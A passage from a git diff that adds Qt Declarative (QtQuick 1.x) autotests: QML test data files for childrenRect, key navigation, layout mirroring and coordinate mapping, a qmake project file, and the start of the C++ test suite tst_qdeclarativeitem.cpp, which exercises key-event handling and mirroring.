+ property bool test2: root.children[0] == item1
+ property bool test3: root.children[1] == item2
+ property bool test4: root.children[2] == item3
+ property bool test5: root.children[3] == null
+
+ children: [ Item { id: item1 }, Item { id: item2 }, Item { id: item3 } ]
+}
+
diff --git a/tests/auto/declarative/qdeclarativeitem/data/childrenRect.qml b/tests/auto/declarative/qdeclarativeitem/data/childrenRect.qml
new file mode 100644
index 00000000..84f362fe
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/childrenRect.qml
@@ -0,0 +1,27 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+
+ property int childCount: 0;
+
+ Item {
+ objectName: "testItem"
+ width: childrenRect.width
+ height: childrenRect.height
+
+ Repeater {
+ id: repeater
+ model: childCount
+ delegate: Rectangle {
+ x: index*10
+ y: index*20
+ width: 10
+ height: 20
+
+ color: "red"
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeitem/data/childrenRectBug.qml b/tests/auto/declarative/qdeclarativeitem/data/childrenRectBug.qml
new file mode 100644
index 00000000..2ab73a1f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/childrenRectBug.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 200
+
+ Item {
+ objectName: "theItem"
+ anchors.centerIn: parent
+ width: childrenRect.width
+ height: childrenRect.height
+ Rectangle {
+ id: text1
+ anchors.verticalCenter: parent.verticalCenter
+ width: 100; height: 100; color: "green"
+ }
+ Rectangle {
+ anchors.left: text1.right
+ anchors.verticalCenter: parent.verticalCenter
+ width: 100; height: 100; color: "green"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeitem/data/childrenRectBug2.qml b/tests/auto/declarative/qdeclarativeitem/data/childrenRectBug2.qml
new file mode 100644
index 00000000..d67ad0e3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/childrenRectBug2.qml
@@ -0,0 +1,53 @@
+import QtQuick 1.0
+
+Rectangle {
+ width:360;
+ height: 200
+
+ Item {
+ objectName: "theItem"
+ anchors.centerIn: parent
+ width: childrenRect.width
+ height: childrenRect.height
+ Rectangle {
+ id: header1
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.top: parent.top
+ width: 100; height: 50
+ color: "green"
+ }
+ Rectangle {
+ id: text1
+ anchors.top: header1.bottom
+ anchors.topMargin: 10
+ anchors.horizontalCenter: parent.horizontalCenter
+ width: 100; height: 50
+ color: "blue"
+ }
+ }
+
+ states: [
+ State {
+ name: "row"
+ AnchorChanges {
+ target: header1
+ anchors.horizontalCenter: undefined
+ anchors.verticalCenter: parent.verticalCenter
+ anchors.left: parent.left
+ anchors.top: undefined
+ }
+ AnchorChanges {
+ target: text1
+ anchors.horizontalCenter: undefined
+ anchors.verticalCenter: parent.verticalCenter
+ anchors.top: undefined
+ anchors.left: header1.right
+ }
+ PropertyChanges {
+ target: text1
+ anchors.leftMargin: 10
+ anchors.topMargin: 0
+ }
+ }
+ ]
+}
diff --git a/tests/auto/declarative/qdeclarativeitem/data/childrenRectBug3.qml b/tests/auto/declarative/qdeclarativeitem/data/childrenRectBug3.qml
new file mode 100644
index 00000000..9d8e1e86
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/childrenRectBug3.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 300
+ height: 300
+
+ Rectangle {
+ height: childrenRect.height
+
+ Repeater {
+ model: 1
+ Rectangle { }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeitem/data/implicitsize.qml b/tests/auto/declarative/qdeclarativeitem/data/implicitsize.qml
new file mode 100644
index 00000000..869c0fce
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/implicitsize.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.1
+
+Item {
+ implicitWidth: 200
+ implicitHeight: 100
+
+ width: 80
+ height: 60
+
+ function resetSize() {
+ width = undefined
+ height = undefined
+ }
+
+ function changeImplicit() {
+ implicitWidth = 150
+ implicitHeight = 80
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeitem/data/keynavigationtest.qml b/tests/auto/declarative/qdeclarativeitem/data/keynavigationtest.qml
new file mode 100644
index 00000000..f614a12e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/keynavigationtest.qml
@@ -0,0 +1,87 @@
+import QtQuick 1.0
+
+Grid {
+ columns: 2
+ width: 100; height: 100
+ function verify() {
+ if (item1.KeyNavigation.right != item2)
+ return false;
+ if (item1.KeyNavigation.down != item3)
+ return false;
+ if (item1.KeyNavigation.tab != item2)
+ return false;
+ if (item1.KeyNavigation.backtab != item4)
+ return false;
+
+ if (item2.KeyNavigation.left != item1)
+ return false;
+ if (item2.KeyNavigation.down != item4)
+ return false;
+ if (item2.KeyNavigation.tab != item3)
+ return false;
+ if (item2.KeyNavigation.backtab != item1)
+ return false;
+
+ if (item3.KeyNavigation.right != item4)
+ return false;
+ if (item3.KeyNavigation.up != item1)
+ return false;
+ if (item3.KeyNavigation.tab != item4)
+ return false;
+ if (item3.KeyNavigation.backtab != item2)
+ return false;
+
+ if (item4.KeyNavigation.left != item3)
+ return false;
+ if (item4.KeyNavigation.up != item2)
+ return false;
+ if (item4.KeyNavigation.tab != item1)
+ return false;
+ if (item4.KeyNavigation.backtab != item3)
+ return false;
+
+ return true;
+ }
+
+ Rectangle {
+ id: item1
+ objectName: "item1"
+ focus: true
+ width: 50; height: 50
+ color: focus ? "red" : "lightgray"
+ KeyNavigation.right: item2
+ KeyNavigation.down: item3
+ KeyNavigation.tab: item2
+ KeyNavigation.backtab: item4
+ }
+ Rectangle {
+ id: item2
+ objectName: "item2"
+ width: 50; height: 50
+ color: focus ? "red" : "lightgray"
+ KeyNavigation.left: item1
+ KeyNavigation.down: item4
+ KeyNavigation.tab: item3
+ KeyNavigation.backtab: item1
+ }
+ Rectangle {
+ id: item3
+ objectName: "item3"
+ width: 50; height: 50
+ color: focus ? "red" : "lightgray"
+ KeyNavigation.right: item4
+ KeyNavigation.up: item1
+ KeyNavigation.tab: item4
+ KeyNavigation.backtab: item2
+ }
+ Rectangle {
+ id: item4
+ objectName: "item4"
+ width: 50; height: 50
+ color: focus ? "red" : "lightgray"
+ KeyNavigation.left: item3
+ KeyNavigation.up: item2
+ KeyNavigation.tab: item1
+ KeyNavigation.backtab: item3
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeitem/data/keyspriority.qml b/tests/auto/declarative/qdeclarativeitem/data/keyspriority.qml
new file mode 100644
index 00000000..375a6b61
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/keyspriority.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+import Test 1.0
+
+KeyTestItem {
+ focus: true
+ Keys.onPressed: keysTestObject.keyPress(event.key, event.text, event.modifiers)
+ Keys.onReleased: { keysTestObject.keyRelease(event.key, event.text, event.modifiers); event.accepted = true; }
+ Keys.priority: keysTestObject.processLast ? Keys.AfterItem : Keys.BeforeItem
+}
diff --git a/tests/auto/declarative/qdeclarativeitem/data/keystest.qml b/tests/auto/declarative/qdeclarativeitem/data/keystest.qml
new file mode 100644
index 00000000..9af6e9fb
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/keystest.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+Item {
+ focus: true
+
+ property bool isEnabled: Keys.enabled
+
+ Keys.onPressed: keysTestObject.keyPress(event.key, event.text, event.modifiers)
+ Keys.onReleased: { keysTestObject.keyRelease(event.key, event.text, event.modifiers); event.accepted = true; }
+ Keys.onReturnPressed: keysTestObject.keyPress(event.key, "Return", event.modifiers)
+ Keys.onDigit0Pressed: keysTestObject.keyPress(event.key, event.text, event.modifiers)
+ Keys.onDigit9Pressed: { event.accepted = false; keysTestObject.keyPress(event.key, event.text, event.modifiers) }
+ Keys.onTabPressed: keysTestObject.keyPress(event.key, "Tab", event.modifiers)
+ Keys.onBacktabPressed: keysTestObject.keyPress(event.key, "Backtab", event.modifiers)
+ Keys.forwardTo: [ item2 ]
+ Keys.enabled: enableKeyHanding
+
+ Item {
+ id: item2
+ visible: forwardeeVisible
+ Keys.onPressed: keysTestObject.forwardedKey(event.key)
+ Keys.onReleased: keysTestObject.forwardedKey(event.key)
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeitem/data/layoutmirroring.qml b/tests/auto/declarative/qdeclarativeitem/data/layoutmirroring.qml
new file mode 100644
index 00000000..866b6153
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/layoutmirroring.qml
@@ -0,0 +1,54 @@
+import QtQuick 1.1
+
+Item {
+ property bool childrenInherit: true
+ Item {
+ objectName: "mirrored1"
+ LayoutMirroring.enabled: true
+ LayoutMirroring.childrenInherit: parent.childrenInherit
+ Item {
+ Item {
+ objectName: "notMirrored1"
+ LayoutMirroring.enabled: false
+ Item {
+ objectName: "inheritedMirror1"
+ }
+ }
+ Item {
+ objectName: "inheritedMirror2"
+ }
+ }
+ }
+ Item {
+ objectName: "mirrored2"
+ LayoutMirroring.enabled: true
+ LayoutMirroring.childrenInherit: false
+ Item {
+ objectName: "notMirrored2"
+ }
+ }
+ Item {
+ LayoutMirroring.enabled: true
+ LayoutMirroring.childrenInherit: true
+ Loader {
+ id: loader
+ }
+ }
+ states: State {
+ name: "newContent"
+ PropertyChanges {
+ target: loader
+ sourceComponent: component
+ }
+ }
+ Component {
+ id: component
+ Item {
+ objectName: "notMirrored3"
+ LayoutMirroring.enabled: false
+ Item {
+ objectName: "inheritedMirror3"
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeitem/data/mapCoordinates.qml b/tests/auto/declarative/qdeclarativeitem/data/mapCoordinates.qml
new file mode 100644
index 00000000..bb20ecc8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/mapCoordinates.qml
@@ -0,0 +1,43 @@
+import QtQuick 1.0
+
+Item {
+ id: root; objectName: "root"
+ width: 200; height: 200
+
+ Item { id: itemA; objectName: "itemA"; x: 50; y: 50 }
+
+ Item {
+ x: 50; y: 50
+ Item { id: itemB; objectName: "itemB"; x: 100; y: 100 }
+ }
+
+ function mapAToB(x, y) {
+ var pos = itemA.mapToItem(itemB, x, y)
+ return Qt.point(pos.x, pos.y)
+ }
+
+ function mapAFromB(x, y) {
+ var pos = itemA.mapFromItem(itemB, x, y)
+ return Qt.point(pos.x, pos.y)
+ }
+
+ function mapAToNull(x, y) {
+ var pos = itemA.mapToItem(null, x, y)
+ return Qt.point(pos.x, pos.y)
+ }
+
+ function mapAFromNull(x, y) {
+ var pos = itemA.mapFromItem(null, x, y)
+ return Qt.point(pos.x, pos.y)
+ }
+
+ function checkMapAToInvalid(x, y) {
+ var pos = itemA.mapToItem(1122, x, y)
+ return pos.x == undefined && pos.y == undefined
+ }
+
+ function checkMapAFromInvalid(x, y) {
+ var pos = itemA.mapFromItem(1122, x, y)
+ return pos.x == undefined && pos.y == undefined
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeitem/data/mouseFocus.qml b/tests/auto/declarative/qdeclarativeitem/data/mouseFocus.qml
new file mode 100644
index 00000000..afa5397a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/mouseFocus.qml
@@ -0,0 +1,20 @@
+import QtQuick 1.0
+
+QGraphicsWidget {
+ size: "200x100"
+ focusPolicy: QGraphicsWidget.ClickFocus
+ Item {
+ objectName: "declarativeItem"
+ id: item
+ width: 200
+ height: 100
+ MouseArea {
+ anchors.fill: parent
+ onPressed: {
+ if (!item.focus) {
+ item.focus = true;
+ }
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeitem/data/propertychanges.qml b/tests/auto/declarative/qdeclarativeitem/data/propertychanges.qml
new file mode 100644
index 00000000..f1ea9334
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/propertychanges.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+Item {
+ Item {
+ objectName: "item"
+ }
+ Item {
+ objectName: "parentItem"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml b/tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml
new file mode 100644
index 00000000..8102df16
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Item {
+ children: [ 10 ]
+}
diff --git a/tests/auto/declarative/qdeclarativeitem/data/resourcesProperty.qml b/tests/auto/declarative/qdeclarativeitem/data/resourcesProperty.qml
new file mode 100644
index 00000000..e82cd029
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/resourcesProperty.qml
@@ -0,0 +1,21 @@
+import QtQuick 1.0
+
+Item {
+ id: root
+
+ property bool test1
+ property bool test2
+ property bool test3
+ property bool test4
+ property bool test5
+
+ Component.onCompleted: {
+ test1 = (root.resources.length >= 3)
+ test2 = root.resources[0] == item1
+ test3 = root.resources[1] == item2
+ test4 = root.resources[2] == item3
+ test5 = root.resources[10] == null
+ }
+
+ resources: [ Item { id: item1 }, Item { id: item2 }, Item { id: item3 } ]
+}
diff --git a/tests/auto/declarative/qdeclarativeitem/data/transformCrash.qml b/tests/auto/declarative/qdeclarativeitem/data/transformCrash.qml
new file mode 100644
index 00000000..35c1a9ab
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/transformCrash.qml
@@ -0,0 +1,13 @@
+import QtQuick 1.0
+
+Item {
+ id: wrapper
+ width: 200
+ height: 200
+
+ QtObject {
+ id: object
+ }
+
+ Component.onCompleted: wrapper.transform = object
+}
diff --git a/tests/auto/declarative/qdeclarativeitem/qdeclarativeitem.pro b/tests/auto/declarative/qdeclarativeitem/qdeclarativeitem.pro
new file mode 100644
index 00000000..d8007a09
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/qdeclarativeitem.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativeitem.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
new file mode 100644
index 00000000..80a22332
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
@@ -0,0 +1,1256 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtTest/QSignalSpy>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativecontext.h>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <private/qdeclarativerectangle_p.h>
+#include <private/qdeclarativeitem_p.h>
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_QDeclarativeItem : public QObject
+
+{
+ Q_OBJECT
+public:
+ tst_QDeclarativeItem();
+
+private slots:
+ void initTestCase();
+ void keys();
+ void keysProcessingOrder();
+ void keyNavigation();
+ void keyNavigation_RightToLeft();
+ void keyNavigation_skipNotVisible();
+ void layoutMirroring();
+ void layoutMirroringIllegalParent();
+ void smooth();
+ void clip();
+ void mapCoordinates();
+ void mapCoordinates_data();
+ void propertyChanges();
+ void transforms();
+ void transforms_data();
+ void childrenRect();
+ void childrenRectBug();
+ void childrenRectBug2();
+ void childrenRectBug3();
+
+ void childrenProperty();
+ void resourcesProperty();
+ void mouseFocus();
+
+ void transformCrash();
+ void implicitSize();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
+ void qtbug_16871();
+ void qtbug_21045();
+private:
+ QDeclarativeEngine engine;
+};
+
+template<typename T>
+T *findItem(QGraphicsObject *parent, const QString &objectName)
+{
+ if (!parent)
+ return 0;
+
+ const QMetaObject &mo = T::staticMetaObject;
+ //qDebug() << parent->QGraphicsObject::children().count() << "children";
+ for (int i = 0; i < parent->childItems().count(); ++i) {
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(parent->childItems().at(i));
+ if(!item)
+ continue;
+ //qDebug() << "try" << item;
+ if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName))
+ return static_cast<T*>(item);
+ item = findItem<T>(item, objectName);
+ if (item)
+ return static_cast<T*>(item);
+ }
+
+ return 0;
+}
+
+class KeysTestObject : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(bool processLast READ processLast NOTIFY processLastChanged)
+
+public:
+ KeysTestObject() : mKey(0), mModifiers(0), mForwardedKey(0), mLast(false) {}
+
+ void reset() {
+ mKey = 0;
+ mText = QString();
+ mModifiers = 0;
+ mForwardedKey = 0;
+ }
+
+ bool processLast() const { return mLast; }
+ void setProcessLast(bool b) {
+ if (b != mLast) {
+ mLast = b;
+ emit processLastChanged();
+ }
+ }
+
+public slots:
+ void keyPress(int key, QString text, int modifiers) {
+ mKey = key;
+ mText = text;
+ mModifiers = modifiers;
+ }
+ void keyRelease(int key, QString text, int modifiers) {
+ mKey = key;
+ mText = text;
+ mModifiers = modifiers;
+ }
+ void forwardedKey(int key) {
+ mForwardedKey = key;
+ }
+
+signals:
+ void processLastChanged();
+
+public:
+ int mKey;
+ QString mText;
+ int mModifiers;
+ int mForwardedKey;
+ bool mLast;
+
+private:
+};
+
+class KeyTestItem : public QDeclarativeItem
+{
+ Q_OBJECT
+public:
+ KeyTestItem(QDeclarativeItem *parent=0) : QDeclarativeItem(parent), mKey(0) {}
+
+protected:
+ void keyPressEvent(QKeyEvent *e) {
+ keyPressPreHandler(e);
+ if (e->isAccepted())
+ return;
+
+ mKey = e->key();
+
+ if (e->key() == Qt::Key_A)
+ e->accept();
+ else
+ e->ignore();
+
+ if (!e->isAccepted())
+ QDeclarativeItem::keyPressEvent(e);
+ }
+
+ void keyReleaseEvent(QKeyEvent *e) {
+ keyReleasePreHandler(e);
+
+ if (e->isAccepted())
+ return;
+
+ if (e->key() == Qt::Key_B)
+ e->accept();
+ else
+ e->ignore();
+
+ if (!e->isAccepted())
+ QDeclarativeItem::keyReleaseEvent(e);
+ }
+
+public:
+ int mKey;
+};
+
+QML_DECLARE_TYPE(KeyTestItem);
+
+
+tst_QDeclarativeItem::tst_QDeclarativeItem()
+{
+}
+
+void tst_QDeclarativeItem::initTestCase()
+{
+ qmlRegisterType<KeyTestItem>("Test",1,0,"KeyTestItem");
+}
+
+void tst_QDeclarativeItem::keys()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(240,320);
+
+ KeysTestObject *testObject = new KeysTestObject;
+ canvas->rootContext()->setContextProperty("keysTestObject", testObject);
+
+ canvas->rootContext()->setContextProperty("enableKeyHanding", QVariant(true));
+ canvas->rootContext()->setContextProperty("forwardeeVisible", QVariant(true));
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/keystest.qml"));
+ canvas->show();
+ qApp->processEvents();
+
+ QEvent wa(QEvent::WindowActivate);
+ QApplication::sendEvent(canvas, &wa);
+ QFocusEvent fe(QEvent::FocusIn);
+ QApplication::sendEvent(canvas, &fe);
+
+ QVERIFY(canvas->rootObject());
+ QCOMPARE(canvas->rootObject()->property("isEnabled").toBool(), true);
+
+ QKeyEvent key(QEvent::KeyPress, Qt::Key_A, Qt::NoModifier, "A", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QCOMPARE(testObject->mKey, int(Qt::Key_A));
+ QCOMPARE(testObject->mForwardedKey, int(Qt::Key_A));
+ QCOMPARE(testObject->mText, QLatin1String("A"));
+ QVERIFY(testObject->mModifiers == Qt::NoModifier);
+ QVERIFY(!key.isAccepted());
+
+ testObject->reset();
+
+ key = QKeyEvent(QEvent::KeyRelease, Qt::Key_A, Qt::ShiftModifier, "A", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QCOMPARE(testObject->mKey, int(Qt::Key_A));
+ QCOMPARE(testObject->mForwardedKey, int(Qt::Key_A));
+ QCOMPARE(testObject->mText, QLatin1String("A"));
+ QVERIFY(testObject->mModifiers == Qt::ShiftModifier);
+ QVERIFY(key.isAccepted());
+
+ testObject->reset();
+
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_Return, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QCOMPARE(testObject->mKey, int(Qt::Key_Return));
+ QCOMPARE(testObject->mForwardedKey, int(Qt::Key_Return));
+ QCOMPARE(testObject->mText, QLatin1String("Return"));
+ QVERIFY(testObject->mModifiers == Qt::NoModifier);
+ QVERIFY(key.isAccepted());
+
+ testObject->reset();
+
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_0, Qt::NoModifier, "0", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QCOMPARE(testObject->mKey, int(Qt::Key_0));
+ QCOMPARE(testObject->mForwardedKey, int(Qt::Key_0));
+ QCOMPARE(testObject->mText, QLatin1String("0"));
+ QVERIFY(testObject->mModifiers == Qt::NoModifier);
+ QVERIFY(key.isAccepted());
+
+ testObject->reset();
+
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_9, Qt::NoModifier, "9", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QCOMPARE(testObject->mKey, int(Qt::Key_9));
+ QCOMPARE(testObject->mForwardedKey, int(Qt::Key_9));
+ QCOMPARE(testObject->mText, QLatin1String("9"));
+ QVERIFY(testObject->mModifiers == Qt::NoModifier);
+ QVERIFY(!key.isAccepted());
+
+ testObject->reset();
+
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_Tab, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QCOMPARE(testObject->mKey, int(Qt::Key_Tab));
+ QCOMPARE(testObject->mForwardedKey, int(Qt::Key_Tab));
+ QCOMPARE(testObject->mText, QLatin1String("Tab"));
+ QVERIFY(testObject->mModifiers == Qt::NoModifier);
+ QVERIFY(key.isAccepted());
+
+ testObject->reset();
+
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_Backtab, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QCOMPARE(testObject->mKey, int(Qt::Key_Backtab));
+ QCOMPARE(testObject->mForwardedKey, int(Qt::Key_Backtab));
+ QCOMPARE(testObject->mText, QLatin1String("Backtab"));
+ QVERIFY(testObject->mModifiers == Qt::NoModifier);
+ QVERIFY(key.isAccepted());
+
+ testObject->reset();
+
+ canvas->rootContext()->setContextProperty("forwardeeVisible", QVariant(false));
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_A, Qt::NoModifier, "A", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QCOMPARE(testObject->mKey, int(Qt::Key_A));
+ QCOMPARE(testObject->mForwardedKey, 0);
+ QCOMPARE(testObject->mText, QLatin1String("A"));
+ QVERIFY(testObject->mModifiers == Qt::NoModifier);
+ QVERIFY(!key.isAccepted());
+
+ testObject->reset();
+
+ canvas->rootContext()->setContextProperty("enableKeyHanding", QVariant(false));
+ QCOMPARE(canvas->rootObject()->property("isEnabled").toBool(), false);
+
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_Return, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QCOMPARE(testObject->mKey, 0);
+ QVERIFY(!key.isAccepted());
+
+ canvas->rootContext()->setContextProperty("enableKeyHanding", QVariant(true));
+ QCOMPARE(canvas->rootObject()->property("isEnabled").toBool(), true);
+
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_Return, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QCOMPARE(testObject->mKey, int(Qt::Key_Return));
+ QVERIFY(key.isAccepted());
+
+ delete canvas;
+ delete testObject;
+}
+
+void tst_QDeclarativeItem::keysProcessingOrder()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(240,320);
+
+ KeysTestObject *testObject = new KeysTestObject;
+ canvas->rootContext()->setContextProperty("keysTestObject", testObject);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/keyspriority.qml"));
+ canvas->show();
+ qApp->processEvents();
+
+ KeyTestItem *testItem = qobject_cast<KeyTestItem*>(canvas->rootObject());
+ QVERIFY(testItem);
+
+ QEvent wa(QEvent::WindowActivate);
+ QApplication::sendEvent(canvas, &wa);
+ QFocusEvent fe(QEvent::FocusIn);
+ QApplication::sendEvent(canvas, &fe);
+
+ QKeyEvent key(QEvent::KeyPress, Qt::Key_A, Qt::NoModifier, "A", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QCOMPARE(testObject->mKey, int(Qt::Key_A));
+ QCOMPARE(testObject->mText, QLatin1String("A"));
+ QVERIFY(testObject->mModifiers == Qt::NoModifier);
+ QVERIFY(key.isAccepted());
+
+ testObject->reset();
+
+ testObject->setProcessLast(true);
+
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_A, Qt::NoModifier, "A", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QCOMPARE(testObject->mKey, 0);
+ QVERIFY(key.isAccepted());
+
+ testObject->reset();
+
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_B, Qt::NoModifier, "B", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QCOMPARE(testObject->mKey, int(Qt::Key_B));
+ QCOMPARE(testObject->mText, QLatin1String("B"));
+ QVERIFY(testObject->mModifiers == Qt::NoModifier);
+ QVERIFY(!key.isAccepted());
+
+ testObject->reset();
+
+ key = QKeyEvent(QEvent::KeyRelease, Qt::Key_B, Qt::NoModifier, "B", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QCOMPARE(testObject->mKey, 0);
+ QVERIFY(key.isAccepted());
+
+ delete canvas;
+ delete testObject;
+}
+
+QDeclarativeItemPrivate *childPrivate(QGraphicsObject *rootItem, const char * itemString)
+{
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(rootItem, QString(QLatin1String(itemString)));
+ QDeclarativeItemPrivate* itemPrivate = QDeclarativeItemPrivate::get(item);
+ return itemPrivate;
+}
+
+QVariant childProperty(QGraphicsObject *rootItem, const char * itemString, const char * property)
+{
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(rootItem, QString(QLatin1String(itemString)));
+ return item->property(property);
+}
+
+bool anchorsMirrored(QGraphicsObject *rootItem, const char * itemString)
+{
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(rootItem, QString(QLatin1String(itemString)));
+ QDeclarativeItemPrivate* itemPrivate = QDeclarativeItemPrivate::get(item);
+ return itemPrivate->anchors()->mirrored();
+}
+
+void tst_QDeclarativeItem::layoutMirroring()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/layoutmirroring.qml"));
+ canvas->show();
+
+ QDeclarativeItem *rootItem = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+ QVERIFY(rootItem);
+ QDeclarativeItemPrivate *rootPrivate = QDeclarativeItemPrivate::get(rootItem);
+ QVERIFY(rootPrivate);
+
+ QCOMPARE(childPrivate(rootItem, "mirrored1")->effectiveLayoutMirror, true);
+ QCOMPARE(childPrivate(rootItem, "mirrored2")->effectiveLayoutMirror, true);
+ QCOMPARE(childPrivate(rootItem, "notMirrored1")->effectiveLayoutMirror, false);
+ QCOMPARE(childPrivate(rootItem, "notMirrored2")->effectiveLayoutMirror, false);
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror1")->effectiveLayoutMirror, true);
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror2")->effectiveLayoutMirror, true);
+
+ QCOMPARE(anchorsMirrored(rootItem, "mirrored1"), true);
+ QCOMPARE(anchorsMirrored(rootItem, "mirrored2"), true);
+ QCOMPARE(anchorsMirrored(rootItem, "notMirrored1"), false);
+ QCOMPARE(anchorsMirrored(rootItem, "notMirrored2"), false);
+ QCOMPARE(anchorsMirrored(rootItem, "inheritedMirror1"), true);
+ QCOMPARE(anchorsMirrored(rootItem, "inheritedMirror2"), true);
+
